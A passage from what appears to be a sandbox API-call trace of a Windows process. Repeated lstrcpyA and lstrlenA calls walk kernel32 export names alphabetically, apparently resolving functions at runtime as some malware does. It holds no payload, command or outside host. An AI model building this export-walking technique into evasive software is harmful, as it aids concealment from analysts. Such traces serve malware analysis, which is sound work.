(lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0101.514] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0101.514] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0101.514] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0101.514] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0101.514] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0101.514] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0101.514] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0101.514] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0101.514] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0101.514] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0101.514] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0101.514] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0101.514] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0101.514] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0101.514] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0101.514] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0101.514] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0101.514] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0101.514] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0101.514] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0101.514] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0101.514] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0101.514] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0101.514] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0101.514] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0101.514] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0101.515] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0101.515] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0101.515] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0101.515] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0101.515] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0101.515] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0101.515] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0101.515] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0101.515] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0101.515] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0101.515] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0101.515] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0101.515] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0101.515] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0101.515] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0101.515] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0101.515] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0101.515] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0101.515] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0101.515] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0101.515] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0101.515] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0101.515] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0101.515] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0101.515] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0101.515] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0101.515] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0101.515] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0101.515] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0101.515] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0101.515] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0101.515] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0101.516] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0101.516] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0101.516] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0101.516] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0101.516] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0101.516] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0101.516] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0101.516] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0101.516] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0101.516] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0101.516] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0101.516] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0101.516] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0101.516] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0101.516] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0101.516] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0101.516] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0101.516] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0101.516] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0101.516] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0101.516] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0101.516] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0101.516] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0101.516] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0101.516] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0101.516] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0101.516] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0101.516] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0101.516] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0101.516] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0101.516] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0101.516] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0101.517] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0101.517] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0101.517] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0101.517] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0101.517] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0101.517] lstrlenA (lpString="BEEP") returned 4 [0101.517] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0101.517] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0101.517] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0101.517] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0101.517] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0101.517] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0101.517] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0101.517] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0101.517] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0101.517] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0101.517] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0101.517] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0101.517] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0101.517] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0101.517] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0101.517] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0101.517] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0101.517] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0101.518] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0101.518] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0101.518] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0101.518] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0101.518] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0101.518] lstrlenA (lpString="CANCELIO") returned 8 [0101.518] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0101.518] lstrlenA (lpString="CANCELIOEX") returned 10 [0101.518] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0101.518] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0101.518] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0101.518] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0101.518] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0101.518] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0101.518] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0101.518] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0101.518] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0101.518] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0101.518] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0101.518] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0101.518] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0101.518] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0101.518] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0101.518] lstrlenA (lpString="CHECKELEVATION") returned 14 [0101.518] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0101.518] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0101.518] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0101.518] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0101.518] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0101.518] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0101.518] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0101.518] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0101.519] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0101.519] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0101.519] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0101.519] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0101.519] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0101.519] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0101.519] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0101.519] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0101.519] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0101.519] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0101.519] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0101.519] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0101.519] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0101.519] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0101.519] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0101.519] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0101.519] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0101.519] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0101.519] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0101.519] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0101.519] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0101.519] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0101.519] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0101.519] lstrlenA (lpString="CLOSESTATE") returned 10 [0101.519] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0101.519] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0101.519] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0101.519] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0101.519] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0101.519] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0101.519] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0101.519] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0101.520] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0101.520] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0101.520] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0101.520] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0101.520] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0101.520] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0101.520] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0101.520] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0101.520] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0101.520] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0101.520] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0101.520] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0101.520] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0101.520] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0101.520] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0101.520] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0101.520] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0101.520] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0101.520] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0101.520] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0101.520] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0101.520] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0101.520] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0101.520] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0101.520] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0101.520] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0101.520] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0101.520] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0101.520] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0101.520] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0101.520] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0101.520] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0101.521] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0101.521] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0101.521] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0101.521] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0101.521] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0101.521] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0101.521] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0101.521] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0101.521] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0101.521] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0101.521] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0101.521] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0101.521] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0101.521] lstrlenA (lpString="COPYCONTEXT") returned 11 [0101.521] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0101.521] lstrlenA (lpString="COPYFILE2") returned 9 [0101.521] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0101.521] lstrlenA (lpString="COPYFILEA") returned 9 [0101.521] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0101.521] lstrlenA (lpString="COPYFILEEXA") returned 11 [0101.521] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0101.521] lstrlenA (lpString="COPYFILEEXW") returned 11 [0101.522] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0101.522] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0101.522] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0101.522] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0101.522] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0101.522] lstrlenA (lpString="COPYFILEW") returned 9 [0101.522] lstrcpyA (in: 